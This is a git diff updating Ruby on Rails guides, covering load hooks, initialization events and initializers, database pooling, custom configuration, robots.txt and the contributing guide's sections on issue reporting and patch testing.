+| `ActionController::API`              | `action_controller`                  |
+| `ActionController::Base`             | `action_controller_base`             |
+| `ActionController::Base`             | `action_controller`                  |
+| `ActionController::TestCase`         | `action_controller_test_case`        |
+| `ActionDispatch::IntegrationTest`    | `action_dispatch_integration_test`   |
+| `ActionDispatch::Response`           | `action_dispatch_response`           |
+| `ActionDispatch::Request`            | `action_dispatch_request`            |
+| `ActionDispatch::SystemTestCase`     | `action_dispatch_system_test_case`   |
+| `ActionMailbox::Base`                | `action_mailbox`                     |
+| `ActionMailbox::InboundEmail`        | `action_mailbox_inbound_email`       |
+| `ActionMailbox::Record`              | `action_mailbox_record`              |
+| `ActionMailbox::TestCase`            | `action_mailbox_test_case`           |
+| `ActionMailer::Base`                 | `action_mailer`                      |
+| `ActionMailer::TestCase`             | `action_mailer_test_case`            |
+| `ActionText::Content`                | `action_text_content`                |
+| `ActionText::Record`                 | `action_text_record`                 |
+| `ActionText::RichText`               | `action_text_rich_text`              |
+| `ActionText::EncryptedRichText`      | `action_text_encrypted_rich_text`    |
+| `ActionView::Base`                   | `action_view`                        |
+| `ActionView::TestCase`               | `action_view_test_case`              |
+| `ActiveJob::Base`                    | `active_job`                         |
+| `ActiveJob::TestCase`                | `active_job_test_case`               |
+| `ActiveModel::Model`                 | `active_model`                       |
+| `ActiveModel::Translation`           | `active_model_translation`           |
+| `ActiveRecord::Base`                 | `active_record`                      |
+| `ActiveRecord::DatabaseConfigurations` | `active_record_database_configurations` |
+| `ActiveRecord::Encryption`           | `active_record_encryption`           |
+| `ActiveRecord::TestFixtures`         | `active_record_fixtures`             |
+| `ActiveRecord::ConnectionAdapters::PostgreSQLAdapter`    | `active_record_postgresqladapter`    |
+| `ActiveRecord::ConnectionAdapters::Mysql2Adapter`        | `active_record_mysql2adapter`        |
+| `ActiveRecord::ConnectionAdapters::TrilogyAdapter`       | `active_record_trilogyadapter`       |
+| `ActiveRecord::ConnectionAdapters::SQLite3Adapter`       | `active_record_sqlite3adapter`       |
+| `ActiveStorage::Attachment`          | `active_storage_attachment`          |
+| `ActiveStorage::VariantRecord`       | `active_storage_variant_record`      |
+| `ActiveStorage::Blob`                | `active_storage_blob`                |
+| `ActiveStorage::Record`              | `active_storage_record`              |
+| `ActiveSupport::TestCase`            | `active_support_test_case`           |
+| `i18n`                               | `i18n`                               |
+
+Initialization Events
 ---------------------
 
 Rails has 5 initialization events which can be hooked into (listed in the order that they are run):
 
-* `before_configuration`: This is run as soon as the application constant inherits from `Rails::Application`. The `config` calls are evaluated before this happens.
+* `before_configuration`: This is run when the application class inherits from `Rails::Application` in `config/application.rb`. Before the class body is executed. Engines may use this hook to run code before the application itself gets configured.
 
 * `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process.
 
-* `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`.
+* `to_prepare`: Run after the initializers are run for all Railties (including the application itself) and after the middleware stack is built, but before eager loading. More importantly, will run upon every code reload in `development`, but only once (during boot-up) in `production` and `test`.
 
 * `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment.
 
@@ -1075,7 +4203,7 @@ The `initializer` method takes three arguments with the first being the name for
 
 Initializers defined using the `initializer` method will be run in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods.
 
-WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
+WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "two" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
 
 The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example.
 
@@ -1087,21 +4215,19 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
 
 * `load_environment_hook`: Serves as a placeholder so that `:load_environment_config` can be defined to run before it.
 
-* `load_active_support`: Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.
+* `load_active_support`: Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.
 
-* `initialize_logger`: Initializes the logger (an `ActiveSupport::Logger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
+* `initialize_logger`: Initializes the logger (an `ActiveSupport::BroadcastLogger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
 
 * `initialize_cache`: If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.
 
-* `set_clear_dependencies_hook`: This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
-
-* `initialize_dependency_mechanism`: If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.
+* `set_clear_dependencies_hook`: This initializer - which runs only if `config.enable_reloading` is set to `true` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
 
 * `bootstrap_hook`: Runs all configured `before_initialize` blocks.
 
-* `i18n.callbacks`: In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
+* `i18n.callbacks`: In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production this callback will only run on the first request.
 
-* `active_support.deprecation_behavior`: Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
+* `active_support.deprecation_behavior`: Sets up deprecation reporting behavior for [`Rails.application.deprecators`][] based on [`config.active_support.report_deprecations`](#config-active-support-report-deprecations), [`config.active_support.deprecation`](#config-active-support-deprecation), [`config.active_support.disallowed_deprecation`](#config-active-support-disallowed-deprecation), and [`config.active_support.disallowed_deprecation_warnings`](#config-active-support-disallowed-deprecation-warnings).
 
 * `active_support.initialize_time_zone`: Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
 
@@ -1113,7 +4239,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
 
 * `action_view.set_configs`: Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.
 
-* `action_controller.assets_config`: Initializes the `config.actions_controller.assets_dir` to the app's public directory if not explicitly configured.
+* `action_controller.assets_config`: Initializes the `config.action_controller.assets_dir` to the app's public directory if not explicitly configured.
 
 * `action_controller.set_helpers_path`: Sets Action Controller's `helpers_path` to the application's `helpers_path`.
 
@@ -1131,15 +4257,13 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
 
 * `active_record.check_schema_cache_dump`: Loads the schema cache dump if configured and available.
 
-* `active_record.warn_on_records_fetched_greater_than`: Enables warnings when queries return large numbers of records.
-
 * `active_record.set_configs`: Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.
 
 * `active_record.initialize_database`: Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment.
 
-* `active_record.log_runtime`: Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
+* `active_record.log_runtime`: Includes `ActiveRecord::Railties::ControllerRuntime` and `ActiveRecord::Railties::JobRuntime` which are responsible for reporting the time taken by Active Record calls for the request back to the logger.
 
-* `active_record.set_reloader_hooks`: Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.
+* `active_record.set_reloader_hooks`: Resets all reloadable connections to the database if `config.enable_reloading` is set to `true`.
 
 * `active_record.add_watchable_files`: Adds `schema.rb` and `structure.sql` files to watchable files.
 
@@ -1154,29 +4278,35 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
 
 * `action_mailer.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access.
 
-* `set_load_path`: This initializer runs before `bootstrap_hook`. Adds paths specified by `config.load_paths` and all autoload paths to `$LOAD_PATH`.
+* `set_load_path`: This initializer runs before `bootstrap_hook`. Adds paths
+  specified by `config.paths.load_paths` to `$LOAD_PATH`. And unless you set
+  `config.add_autoload_paths_to_load_path` to `false`, it will also add all
+  autoload paths specified by `config.autoload_paths`,
+  `config.eager_load_paths`, `config.autoload_once_paths`.
 
 * `set_autoload_paths`: This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths`, `config.eager_load_paths` and `config.autoload_once_paths` to `ActiveSupport::Dependencies.autoload_paths`.
 
 * `add_routing_paths`: Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.
 
-* `add_locales`: Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files.
+* `add_locales`: Adds the files in `config/locales` (from the application, railties, and engines) to `I18n.load_path`, making available the translations in these files.
+
+* `add_view_paths`: Adds the directory `app/views` from the application, railties, and engines to the lookup path for view files for the application.
 
-* `add_view_paths`: Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application.
+* `add_mailer_preview_paths`: Adds the directory `test/mailers/previews` from the application, railties, and engines to the lookup path for mailer preview files for the application.
 
-* `load_environment_config`: Loads the `config/environments` file for the current environment.
+* `load_environment_config`: This initializer runs before `load_environment_hook`. Loads the `config/environments` file for the current environment.
 
-* `prepend_helpers_path`: Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application.
+* `prepend_helpers_path`: Adds the directory `app/helpers` from the application, railties, and engines to the lookup path for helpers for the application.
 
-* `load_config_initializers`: Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
+* `load_config_initializers`: Loads all Ruby files from `config/initializers` in the application, railties, and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
 
 * `engines_blank_point`: Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
 
-* `add_generator_templates`: Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
+* `add_generator_templates`: Finds templates for generators at `lib/templates` for the application, railties, and engines, and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
 
 * `ensure_autoload_once_paths_as_subset`: Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.
 
-* `add_to_prepare_blocks`: The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production.
+* `add_to_prepare_blocks`: The block for every `config.to_prepare` call in the application, a railtie, or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production.
 
 * `add_builtin_route`: If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.
 
@@ -1184,26 +4314,28 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
 
 * `eager_load!`: If `config.eager_load` is `true`, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`.
 
-* `finisher_hook`: Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines.
+* `finisher_hook`: Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties, and engines.
 
-* `set_routes_reloader_hook`: Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`.
+* `set_routes_reloader_hook`: Configures Action Dispatch to reload the routes file using `ActiveSupport::Callbacks.to_run`.
 
 * `disable_dependency_loading`: Disables the automatic dependency loading if the `config.eager_load` is set to `true`.
 
-Database pooling
+[`Rails.application.deprecators`]: https://api.rubyonrails.org/classes/Rails/Application.html#method-i-deprecators
+
+Database Pooling
 ----------------
 
-Active Record database connections are managed by `ActiveRecord::ConnectionAdapters::ConnectionPool` which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`.
+Active Record database connections are managed by [`ActiveRecord::ConnectionAdapters::ConnectionPool`][] which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`.
 
-```ruby
+```yaml
 development:
   adapter: sqlite3
-  database: db/development.sqlite3
+  database: storage/development.sqlite3
   pool: 5
   timeout: 5000
 ```
 
-Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, Puma, Unicorn etc.) should behave the same. The database connection pool is initially empty. As demand for connections increases it will create them until it reaches the connection pool limit.
+Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, Puma, Unicorn, etc.) should behave the same. The database connection pool is initially empty. As demand for connections increases it will create them until it reaches the connection pool limit.
 
 Any one request will check out a connection the first time it requires access to the database. At the end of the request it will check the connection back in. This means that the additional connection slot will be available again for the next request in the queue.
 
@@ -1211,7 +4343,7 @@ If you try to use more connections than are available, Active Record will block
 you and wait for a connection from the pool. If it cannot get a connection, a
 timeout error similar to that given below will be thrown.
 
-```ruby
+```
 ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds)
 ```
 
@@ -1220,69 +4352,95 @@ connection pool by incrementing the `pool` option in `database.yml`
 
 NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited number of connections.
 
+[`ActiveRecord::ConnectionAdapters::ConnectionPool`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/ConnectionPool.html
 
-Custom configuration
+Custom Configuration
 --------------------
 
 You can configure your own code through the Rails configuration object with
 custom configuration under either the `config.x` namespace, or `config` directly.
 The key difference between these two is that you should be using `config.x` if you
-are defining _nested_ configuration (ex: `config.x.nested.nested.hi`), and just
+are defining _nested_ configuration (ex: `config.x.nested.hi`), and just
 `config` for _single level_ configuration (ex: `config.hello`).
 
-  ```ruby
-  config.x.payment_processing.schedule = :daily
-  config.x.payment_processing.retries  = 3
-  config.super_debugger = true
-  ```
+```ruby
+config.x.payment_processing.schedule = :daily
+config.x.payment_processing.retries  = 3
+config.super_debugger = true
+```
 
 These configuration points are then available through the configuration object:
 
-  ```ruby
-  Rails.configuration.x.payment_processing.schedule # => :daily
-  Rails.configuration.x.payment_processing.retries  # => 3
-  Rails.configuration.x.payment_processing.not_set  # => nil
-  Rails.configuration.super_debugger                # => true
-  ```
+```ruby
+Rails.configuration.x.payment_processing.schedule # => :daily
+Rails.configuration.x.payment_processing.retries  # => 3
+Rails.configuration.x.payment_processing.not_set  # => nil
+Rails.configuration.super_debugger                # => true
+```
 
 You can also use `Rails::Application.config_for` to load whole configuration files:
 
-  ```ruby
-  # config/payment.yml:
-  production:
-    environment: production
-    merchant_id: production_merchant_id
-    public_key:  production_public_key
-    private_key: production_private_key
-  development:
-    environment: sandbox
-    merchant_id: development_merchant_id
-    public_key:  development_public_key
-    private_key: development_private_key
-
-  # config/application.rb
-  module MyApp
-    class Application < Rails::Application
-      config.payment = config_for(:payment)
-    end
+```yaml
+# config/payment.yml
+production:
+  environment: production
+  merchant_id: production_merchant_id
+  public_key:  production_public_key
+  private_key: production_private_key
+
+development:
+  environment: sandbox
+  merchant_id: development_merchant_id
+  public_key:  development_public_key
+  private_key: development_private_key
+```
+
+```ruby
+# config/application.rb
+module MyApp
+  class Application < Rails::Application
+    config.payment = config_for(:payment)
   end
-  ```
+end
+```
 
-  ```ruby
-  Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id
-  ```
+```ruby
+Rails.configuration.payment["merchant_id"] # => production_merchant_id or development_merchant_id
+```
+
+`Rails::Application.config_for` supports a `shared` configuration to group common
+configurations. The shared configuration will be merged into the environment
+configuration.
+
+```yaml
+# config/example.yml
+shared:
+  foo:
+    bar:
+      baz: 1
+
+development:
+  foo:
+    bar:
+      qux: 2
+```
+
+```ruby
+# development environment
+Rails.application.config_for(:example)[:foo][:bar] #=> { baz: 1, qux: 2 }
+```
 
 Search Engines Indexing
 -----------------------
 
 Sometimes, you may want to prevent some pages of your application to be visible
-on search sites like Google, Bing, Yahoo or Duck Duck Go. The robots that index
+on search sites like Google, Bing, Yahoo, or Duck Duck Go. The robots that index
 these sites will first analyze the `http://your-site.com/robots.txt` file to
 know which pages it is allowed to index.
 
 Rails creates this file for you inside the `/public` folder. By default, it allows
 search engines to index all pages of your application. If you want to block
-indexing on all pages of you application, use this:
+indexing on all pages of your application, use this:
 
 ```
 User-agent: *
@@ -1290,26 +4448,4 @@ Disallow: /
 ```
 
 To block just specific pages, it's necessary to use a more complex syntax. Learn
-it on the [official documentation](http://www.robotstxt.org/robotstxt.html).
-
-Evented File System Monitor
----------------------------
-
-If the [listen gem](https://github.com/guard/listen) is loaded Rails uses an
-evented file system monitor to detect changes when `config.cache_classes` is
-`false`:
-
-```ruby
-group :development do
-  gem 'listen', '>= 3.0.5', '< 3.2'
-end
-```
-
-Otherwise, in every request Rails walks the application tree to check if
-anything has changed.
-
-On Linux and Mac OS X no additional gems are needed, but some are required
-[for *BSD](https://github.com/guard/listen#on-bsd) and
-[for Windows](https://github.com/guard/listen#on-windows).
-
-Note that [some setups are unsupported](https://github.com/guard/listen#issues--limitations).
+it on the [official documentation](https://www.robotstxt.org/robotstxt.html).
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
index fe5437ae5d852..3fd395a259097 100644
--- a/guides/source/contributing_to_ruby_on_rails.md
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -1,59 +1,61 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Contributing to Ruby on Rails
 =============================
 
-This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails.
+This guide covers how _you_ can become a part of the ongoing development of Ruby on Rails.
 
 After reading this guide, you will know:
 
 * How to use GitHub to report issues.
-* How to clone master and run the test suite.
+* How to clone main and run the test suite.
 * How to help resolve existing issues.
 * How to contribute to the Ruby on Rails documentation.
 * How to contribute to the Ruby on Rails code.
 
-Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
+Ruby on Rails is not "someone else's framework". Over the years, thousands of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all to make Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are various other ways that you can contribute, from reporting issues to testing patches.
 
-As mentioned in [Rails
-README](https://github.com/rails/rails/blob/master/README.md), everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails [code of conduct](http://rubyonrails.org/conduct/).
+As mentioned in [Rails'
+README](https://github.com/rails/rails/blob/main/README.md), everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, discussion boards, and mailing lists is expected to follow the Rails [code of conduct](https://rubyonrails.org/conduct).
 
 --------------------------------------------------------------------------------
 
 Reporting an Issue
 ------------------
 
-Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
+Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account to submit an issue, comment on issues, or create pull requests.
 
-NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide, you'll find out how to get edge Rails for testing.
+NOTE: Bugs in the most recent released version of Ruby on Rails will likely get the most attention. Additionally, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide, you'll find out how to get edge Rails for testing. See our [maintenance policy](maintenance_policy.html) for information on which versions are supported. Never report a security issue on the GitHub issues tracker.
 
 ### Creating a Bug Report
 
-If you've found a problem in Ruby on Rails which is not a security risk, do a search on GitHub under [Issues](https://github.com/rails/rails/issues) in case it has already been reported. If you are unable to find any open GitHub issues addressing the problem you found, your next step will be to [open a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
+If you've found a problem in Ruby on Rails that is not a security risk, search the [Issues](https://github.com/rails/rails/issues) on GitHub, in case it has already been reported. If you cannot find any open GitHub issues addressing the problem you found, your next step will be to [open a new issue](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
 
-Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to reproduce the bug and figure out a fix.
+We've provided an issue template for you so that when creating an issue you include all the information needed to determine whether there is a bug in the framework. Each issue needs to include a title and clear description of the problem. Make sure to include as much relevant information as possible, including a code sample or failing test that demonstrates the expected behavior, as well as your system configuration. Your goal should be to make it easy for yourself - and others - to reproduce the bug and figure out a fix.
 
-Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.
+Once you open an issue, it may or may not see activity right away unless it is a "Code Red, Mission Critical, the World is Coming to an End" kind of bug. That doesn't mean we don't care about your bug, just that there are a lot of issues and pull requests to get through. Other people with the same problem can find your issue, and confirm the bug, and may collaborate with you on fixing it. If you know how to fix the bug, go ahead and open a pull request.
 
 ### Create an Executable Test Case
 
-Having a way to reproduce your issue will be very helpful for others to help confirm, investigate and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point:
+Having a way to reproduce your issue will help people confirm, investigate, and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point:
 
-* Template for Active Record (models, database) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb)
-* Template for testing Active Record (migration) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_migrations_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_migrations_master.rb)
-* Template for Action Pack (controllers, routing) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb)
-* Template for Active Job issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_job_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_job_master.rb)
-* Generic template for other issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_master.rb)
+* [Template for Active Record (models, encryption, database) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_record.rb)
+* [Template for testing Active Record (migration) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_record_migrations.rb)
+* [Template for Action Pack (controllers, routing) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_controller.rb)
+* [Template for Action View (views, helpers) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_view.rb)
+* [Template for Active Job issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_job.rb)
+* [Template for Active Storage issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_storage.rb)
+* [Template for Action Mailer issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_mailer.rb)
+* [Template for Action Mailbox issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_mailbox.rb)
+* [Generic template for other issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/generic.rb)
 
-These templates include the boilerplate code to set up a test case against either a released version of Rails (`*_gem.rb`) or edge Rails (`*_master.rb`).
+These templates include the boilerplate code to set up a test case. Copy the content of the appropriate template into a `.rb` file and make the necessary changes to demonstrate the issue. You can execute it by running `ruby the_file.rb` in your terminal. If all goes well, you should see your test case failing.
 
-Simply copy the content of the appropriate template into a `.rb` file and make the necessary changes to demonstrate the issue. You can execute it by running `ruby the_file.rb` in your terminal. If all goes well, you should see your test case failing.
-
-You can then share your executable test case as a [gist](https://gist.github.com), or simply paste the content into the issue description.
+You can then share your executable test case as a [gist](https://gist.github.com) or paste the content into the issue description.
 
 ### Special Treatment for Security Issues
 
-WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues.
+WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](https://rubyonrails.org/security) details the procedure to follow for security issues.
 
 ### What about Feature Requests?
 
@@ -65,18 +67,17 @@ Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you
 can expect it to be marked "invalid" as soon as it's reviewed.
 
 Sometimes, the line between 'bug' and 'feature' is a hard one to draw.
-Generally, a feature is anything that adds new behavior, while a bug is
-anything that causes incorrect behavior. Sometimes,
-the core team will have to make a judgment call. That said, the distinction
-generally just affects which release your patch will get in to; we love feature
-submissions! They just won't get backported to maintenance branches.
+Generally, a feature is anything that adds new behavior, while a bug
+is anything that causes incorrect behavior. Sometimes, the Core team will have
+to make a judgment call. That said, the distinction generally determines which
+patch your change is released with; we love feature submissions! They just
+won't get backported to maintenance branches.
 
 If you'd like feedback on an idea for a feature before doing the work to make
-a patch, please send an email to the [rails-core mailing
-list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You
+a patch, please start a discussion on the [rails-core discussion board](https://discuss.rubyonrails.org/c/rubyonrails-core). You
 might get no response, which means that everyone is indifferent. You might find
 someone who's also interested in building that feature. You might get a "This
-won't be accepted." But it's the proper place to discuss new ideas. GitHub
+won't be accepted". But it's the proper place to discuss new ideas. GitHub
 Issues are not a particularly good venue for the sometimes long and involved
 discussions new features require.
 
@@ -84,33 +85,37 @@ discussions new features require.
 Helping to Resolve Existing Issues
 ----------------------------------
 
-As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [issues list](https://github.com/rails/rails/issues) in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
+Beyond reporting issues, you can help the core team resolve existing ones by providing feedback about them. If you are new to Rails core development, providing feedback will help you get familiar with the codebase and the processes.
+
+If you check the [issues list](https://github.com/rails/rails/issues) in GitHub Issues, you'll find lots of issues already requiring attention. What can you do about these? Quite a bit, actually:
 
 ### Verifying Bug Reports
 
-For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
+For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
 
-If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem.
+If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to reproduce the bug, or maybe you can eliminate unnecessary steps that aren't required to demonstrate the problem.
 
-If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
+If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to explore the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the [Contributing to the Rails Code](#contributing-to-the-rails-code) section.
 
 Anything you can do to make bug reports more succinct or easier to reproduce helps folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
 
 ### Testing Patches
 
-You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:
+You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. In order to apply someone's changes, first create a dedicated branch:
 
 ```bash
 $ git checkout -b testing_branch
 ```
 
-Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
+Then, you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
 
 ```bash
 $ git remote add JohnSmith https://github.com/JohnSmith/rails.git
 $ git pull JohnSmith orange
 ```
 
+An alternative to adding their remote to your checkout is to use the [GitHub CLI tool](https://cli.github.com/) to checkout their pull request.
+
 After applying their branch, test it out! Here are some things to think about:
 
 * Does the change actually work?
@@ -118,7 +123,7 @@ After applying their branch, test it out! Here are some things to think about:
 * Does it have the proper documentation coverage? Should documentation elsewhere be updated?
 * Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
 
